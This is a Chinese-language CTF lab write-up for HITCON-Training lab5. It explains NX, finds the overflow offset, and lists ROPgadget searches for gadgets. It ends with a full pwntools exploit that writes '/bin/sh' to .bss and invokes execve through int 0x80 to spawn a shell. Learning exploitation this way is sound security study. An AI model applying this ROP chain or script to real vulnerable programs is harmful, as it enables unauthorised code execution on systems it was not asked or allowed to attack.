HITCON-Training lab5(自己构造rop)

看到静态链接,一顿欣喜,直接ropchain生成,栈溢出找出来就ok啦?然后后来发现并没有那么简单。。。

================================================================================================

【一段小插曲】

做题的时候突然很奇怪,nx开启,堆栈不可执行,为什么可以执行pop这些指令,搜了一下。。不可执行的应该是shellcode,但是这些指令还是能用的,不然栈区还怎么使用。。。

NX

  Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。

================================================================================================

 

输入的字符串长度是100

而覆盖量是0x20,emmm,这里有个小bug?ida里面是0x14+0x4=0x18,一开始没有,所以我又cyclic字符串覆盖了一下,发现是32,当然还是以调试为准啦。。。。

 

本来是ROPgadget --binary simplerop --ropchain直接生成rop链,,,但是来了,因为限制输入最大为100,覆盖量又有32,所以太长了,怎么办???想哭,,只好自己找gadget了。。。

 

最后找到一个非常有用的指令,mov [eax],edx,能将edx的东西写入eax指示的内存中

指令:ROPgadget --binary simplerop --only 'mov|ret' | grep edx

find:0x0807b301 : mov dword ptr [eax], edx ; ret

所以,我们考虑可以将8字节的‘/bin/sh’分成‘/bin’和‘/sh\x00’分别先用gadget送入bss内存,然后将bss地址作为参数

指令:ROPgadget --binary simplerop --only 'pop|ret' | grep eax

find:0x080bae06 : pop eax ; ret

指令:ROPgadget --binary simplerop --only 'pop|ret' | grep edx

find:0x0806e82a : pop edx ; ret

find2:0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret(用来传递参数值)

 

在ida里面翻一下,还是比较方便找到bss段的起始地址的:

 

我们考虑调用execve(/bin/sh),execve的系统调用号是0x0b

int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

所以,我们先将execve四个参数布置好,然后将0x0b放入eax,在执行int80即可

指令:ROPgadget --binary simplerop --only 'int'

find:0x080493e1 : int 0x80

 

所以,接下来我们可以编写exp了

#!/usr/bin/python
#coding=utf-8
#coding这行确定编码,防止报错
from pwn import *
p=process('./simplerop')
bss_addr=0x080eaf80
mov_gadget=0x0807b301
pop_eax=0x080bae06
pop_edx=0x0806e82a
pop_edx_ecx_ebx=0x0806e850
int80=0x080493e1

payload = 'a'*32 
#将‘/bin’存入到bss段
payload += p32(pop_eax)+p32(bss_addr)
payload += p32(pop_edx)+'/bin'
payload += p32(mov_gadget)
#将‘/sh’存入到bss段,接在‘/bin’的后面
payload += p32(pop_eax)+p32(bss_addr+4)
payload += p32(pop_edx)+'/sh\x00'
payload += p32(mov_gadget)
#把execve的四个参数传入寄存器
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)
#execve的系统调用号
payload += p32(pop_eax)+p32(0x0b)
#int中断,执行系统调用
payload += p32(int80)

p.recvuntil(':')
p.sendline(payload)
p.interactive()

 

参考博客:https://www.jianshu.com/p/2cae38284bff

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章